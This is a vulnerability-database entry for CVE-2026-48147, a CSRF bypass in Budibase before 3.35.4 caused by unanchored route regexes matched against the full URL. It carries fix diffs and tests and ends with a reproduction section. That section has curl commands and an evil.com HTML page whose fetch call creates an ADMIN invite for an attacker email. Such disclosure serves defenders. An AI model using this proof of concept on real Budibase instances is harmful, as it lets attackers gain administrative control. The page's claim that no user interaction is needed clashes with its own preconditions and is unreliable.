VYPR
Medium severity6.5NVD Advisory· Published May 27, 2026· Updated May 27, 2026

CVE-2026-48147

CVE-2026-48147

Description

Budibase is an open-source low-code platform. Prior to 3.35.4, the buildMatcherRegex() / matches() functions in packages/backend-core/src/middleware/matchers.ts route patterns are compiled into unanchored regular expressions and tested against ctx.request.url, which includes the full query string. The CSRF middleware in the Budibase Worker uses this matching system to decide whether to skip CSRF token validation. An unauthenticated attacker can forge state-changing cross-origin requests against any Worker API endpoint by injecting a public route pattern into the query string, causing the CSRF middleware to skip token validation entirely. This allows actions such as sending admin invites, modifying global configuration, and managing users without a valid CSRF token. This vulnerability is fixed in 3.35.4.

AI Insight

LLM-synthesized narrative grounded in this CVE's description and references.

Budibase prior to 3.35.4 uses unanchored regex in CSRF middleware, allowing unauthenticated attackers to bypass CSRF validation via query string injection.

Vulnerability

In Budibase versions prior to 3.35.4, the buildMatcherRegex() function in packages/backend-core/src/middleware/matchers.ts compiles route patterns into unanchored regular expressions without ^ or $ anchors. The matches() function tests these regexes against ctx.request.url, which includes the full query string. The CSRF middleware relies on this matching to skip token validation for certain routes. This allows an attacker to inject a public route pattern into the query string of a request, causing the CSRF check to be bypassed [1].

Exploitation

An unauthenticated attacker can forge a cross-origin state-changing request (e.g., HTTP POST) to any Worker API endpoint by appending a query parameter that matches a public route pattern. For example, adding ?/builder/global/config/ to the URL could cause the CSRF middleware to recognize it as a public route and skip token validation. No user interaction or authentication is required [1].

Impact

Successful exploitation allows the attacker to perform actions that should require CSRF protection, such as sending admin invites, modifying global configuration, or managing users, all without a valid CSRF token. This can lead to unauthorized access and control over the Budibase instance [1].

Mitigation

The vulnerability is fixed in Budibase version 3.35.4, released on 2026-05-27. Users should upgrade immediately. No workarounds are available for prior versions [1].

AI Insight generated on May 27, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.

Affected products

2
  • Budibase/Budibaseinferred2 versions
    <3.35.4+ 1 more
    • (no CPE)range: <3.35.4
    • (no CPE)range: <3.35.4

Patches

4
72d75db8598f

harden auth middleware

https://github.com/Budibase/budibaseandz-bbApr 8, 2026Fixed in 3.35.4via llm-release-walk
3 files changed · +51 2
  • packages/backend-core/src/middleware/matchers.ts+3 2 modified
    @@ -23,13 +23,14 @@ export const buildMatcherRegex = (
           }
         }
     
    -    return { regex: new RegExp(route), method, route }
    +    return { regex: new RegExp(`^${route}`), method, route }
       })
     }
     
     export const matches = (ctx: Ctx, options: RegexMatcher[]) => {
       return options.find(({ regex, method }) => {
    -    const urlMatch = regex.test(ctx.request.url)
    +    const path = ctx.path || ctx.request.path || ctx.request.url.split("?")[0]
    +    const urlMatch = regex.test(path)
         const methodMatch =
           method === "ALL"
             ? true
    
  • packages/backend-core/src/middleware/tests/matchers.spec.ts+40 0 modified
    @@ -10,6 +10,7 @@ describe("matchers", () => {
           },
         ]
         const ctx = structures.koa.newContext()
    +    ctx.path = "/api/tests"
         ctx.request.url = "/api/tests"
         ctx.request.method = "POST"
     
    @@ -26,6 +27,7 @@ describe("matchers", () => {
           },
         ]
         const ctx = structures.koa.newContext()
    +    ctx.path = "/api/tests/id/something/else"
         ctx.request.url = "/api/tests/id/something/else"
         ctx.request.method = "POST"
     
    @@ -34,6 +36,40 @@ describe("matchers", () => {
         expect(!!matchers.matches(ctx, built)).toBe(true)
       })
     
    +  it("doesn't match later in the path", () => {
    +    const pattern = [
    +      {
    +        route: "/api/tests",
    +        method: "POST",
    +      },
    +    ]
    +    const ctx = structures.koa.newContext()
    +    ctx.path = "/foo/api/tests"
    +    ctx.request.url = "/foo/api/tests"
    +    ctx.request.method = "POST"
    +
    +    const built = matchers.buildMatcherRegex(pattern)
    +
    +    expect(!!matchers.matches(ctx, built)).toBe(false)
    +  })
    +
    +  it("ignores query strings when matching", () => {
    +    const pattern = [
    +      {
    +        route: "/api/system/status",
    +        method: "GET",
    +      },
    +    ]
    +    const ctx = structures.koa.newContext()
    +    ctx.path = "/api/global/users/search"
    +    ctx.request.url = "/api/global/users/search?x=/api/system/status"
    +    ctx.request.method = "GET"
    +
    +    const built = matchers.buildMatcherRegex(pattern)
    +
    +    expect(!!matchers.matches(ctx, built)).toBe(false)
    +  })
    +
       it("matches with param", () => {
         const pattern = [
           {
    @@ -42,6 +78,7 @@ describe("matchers", () => {
           },
         ]
         const ctx = structures.koa.newContext()
    +    ctx.path = "/api/tests/id"
         ctx.request.url = "/api/tests/id"
         ctx.request.method = "GET"
     
    @@ -58,6 +95,7 @@ describe("matchers", () => {
           },
         ]
         const ctx = structures.koa.newContext()
    +    ctx.path = "/api/unknown"
         ctx.request.url = "/api/unknown"
         ctx.request.method = "POST"
     
    @@ -74,6 +112,7 @@ describe("matchers", () => {
           },
         ]
         const ctx = structures.koa.newContext()
    +    ctx.path = "/api/tests"
         ctx.request.url = "/api/tests"
         ctx.request.method = "GET"
     
    @@ -90,6 +129,7 @@ describe("matchers", () => {
           },
         ]
         const ctx = structures.koa.newContext()
    +    ctx.path = "/api/tests"
         ctx.request.url = "/api/tests"
         ctx.request.method = "GET"
     
    
  • packages/worker/src/api/routes/global/tests/users.spec.ts+8 0 modified
    @@ -1138,6 +1138,14 @@ describe("/api/global/users", () => {
           await config.api.users.searchUsers({}, { status: 403, noHeaders: true })
         })
     
    +    it("should throw an error if a public route is injected in the query string", async () => {
    +      await config.request
    +        .post("/api/global/users/search?x=/api/system/status")
    +        .send({})
    +        .expect("Content-Type", /json/)
    +        .expect(403)
    +    })
    +
         it("should be able to search using logical conditions", async () => {
           const user = await config.createUser()
           const response = await config.api.users.searchUsers({
    
6e7bfd7213d1

set ctx.path in activation test

https://github.com/Budibase/budibaseandz-bbApr 8, 2026Fixed in 3.35.4via llm-release-walk
1 file changed · +2 0
  • packages/backend-core/src/middleware/tests/activation.spec.ts+2 0 modified
    @@ -101,6 +101,7 @@ describe("activeTenant middleware", () => {
             config: { active: false },
           })
     
    +      ctx.path = "/api/system/tenants/tenant1"
           ctx.request = { url: "/api/system/tenants/tenant1", method: "DELETE" }
     
           const middleware = activeTenant([
    @@ -119,6 +120,7 @@ describe("activeTenant middleware", () => {
             config: { active: false },
           })
     
    +      ctx.path = "/api/system/environment"
           ctx.request = { url: "/api/system/environment", method: "GET" }
     
           const middleware = activeTenant([
    
92c264a9e19d

simplify koa path logic

https://github.com/Budibase/budibaseandz-bbApr 8, 2026Fixed in 3.35.4via llm-release-walk
1 file changed · +1 2
  • packages/backend-core/src/middleware/matchers.ts+1 2 modified
    @@ -29,8 +29,7 @@ export const buildMatcherRegex = (
     
     export const matches = (ctx: Ctx, options: RegexMatcher[]) => {
       return options.find(({ regex, method }) => {
    -    const path = ctx.path || ctx.request.path || ctx.request.url.split("?")[0]
    -    const urlMatch = regex.test(path)
    +    const urlMatch = regex.test(ctx.path)
         const methodMatch =
           method === "ALL"
             ? true
    
9544623b51bf

Bump version to 3.35.4

https://github.com/Budibase/budibaseBudibase Staging Release BotApr 9, 2026Fixed in 3.35.4via release-tag
1 file changed · +1 1
  • lerna.json+1 1 modified
    @@ -1,6 +1,6 @@
     {
       "$schema": "node_modules/lerna/schemas/lerna-schema.json",
    -  "version": "3.35.3",
    +  "version": "3.35.4",
       "npmClient": "yarn",
       "concurrency": 20,
       "command": {
    

Vulnerability mechanics

Root cause

"Unanchored regular expressions compiled from route patterns are tested against the full URL including query string, allowing an attacker to inject a public route pattern into the query string to match CSRF-skip conditions."

Attack vector

An unauthenticated attacker crafts a cross-origin request to a protected Worker API endpoint (e.g., `/api/global/users/invite`) and appends a public route pattern such as `?x=/api/global/auth/evil` to the query string [ref_id=1]. Because `buildMatcherRegex()` produces an unanchored regex (no `^` or `$`) and `matches()` tests against `ctx.request.url` (which includes the full query string), the regex `/api/global/auth/.*` matches the substring inside the query parameter [ref_id=1]. The CSRF middleware sees a match against `NO_CSRF_ENDPOINTS`, skips token validation entirely, and processes the state-changing request [ref_id=1]. The same technique can also bypass tenant-isolation middleware via the `NO_TENANCY_ENDPOINTS` pattern `/api/system` [ref_id=1].

Affected code

The vulnerable code is in `packages/backend-core/src/middleware/matchers.ts` in the `buildMatcherRegex()` and `matches()` functions [ref_id=1]. `buildMatcherRegex()` creates unanchored regexes via `new RegExp(route)` (no `^` or `$` anchors), and `matches()` tests these regexes against `ctx.request.url`, which includes the full query string [ref_id=1]. The CSRF middleware in `packages/backend-core/src/middleware/csrf.ts` and the Worker registration in `packages/worker/src/api/index.ts` consume these matchers to decide whether to skip CSRF validation [ref_id=1].

What the fix does

The fix in [patch_id=2725529] applies two changes to `packages/backend-core/src/middleware/matchers.ts`. First, `buildMatcherRegex()` anchors the regex with `^` (`new RegExp(\`^${route}\`)`) so the pattern must match at the start of the string [patch_id=2725529]. Second, `matches()` extracts the path component via `ctx.path || ctx.request.path || ctx.request.url.split("?")[0]` and tests the regex against that path only, ignoring the query string [patch_id=2725529]. The companion patch [patch_id=2725530] further simplifies the logic to use `ctx.path` directly [patch_id=2725530]. A new integration test in `users.spec.ts` confirms that a request to `/api/global/users/search?x=/api/system/status` now correctly returns 403 instead of bypassing CSRF [patch_id=2725529].

Preconditions

  • authVictim must be authenticated with an active session in the Budibase Worker instance
  • inputAttacker must be able to induce the victim to visit a malicious page or send a crafted HTTP request
  • networkTarget Budibase Worker must be internet-accessible (self-hosted deployment)

Reproduction

**Prerequisites:** Victim is logged into a Budibase Worker instance. Attacker hosts a page at `https://evil.com`.

**Step 1 — Verify CSRF is normally enforced:** ``` curl -s -X POST 'https://budibase.target.com/api/global/users/invite' \ -H 'Cookie: <victim_session>' \ -H 'Content-Type: application/json' \ -d '{"email":"attacker@evil.com","roleId":"ADMIN","userInfo":{}}' \ -v # → HTTP 403 CSRF token mismatch ```

**Step 2 — CSRF bypass via query string injection:** ``` curl -s -X POST 'https://budibase.target.com/api/global/users/invite?x=/api/global/auth/evil' \ -H 'Cookie: <victim_session>' \ -H 'Content-Type: application/json' \ -d '{"email":"attacker@evil.com","roleId":"ADMIN","userInfo":{}}' \ -v # → HTTP 200 OK — invite created, no CSRF token required ```

**Step 3 — Cross-site exploitation (victim visits attacker page):** ```html <!-- https://evil.com/csrf.html --> <html> <body> <script> fetch( 'https://budibase.target.com/api/global/users/invite?x=/api/global/auth/evil', { method: 'POST', credentials: 'include', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ email: 'attacker@evil.com', roleId: 'ADMIN', userInfo: {} }) } ) .then(r => r.json()) .then(d => console.log('Invite sent:', d)) </script> </body> </html> ``` [ref_id=1]

Generated on May 27, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

1

News mentions

0

No linked articles in our index yet.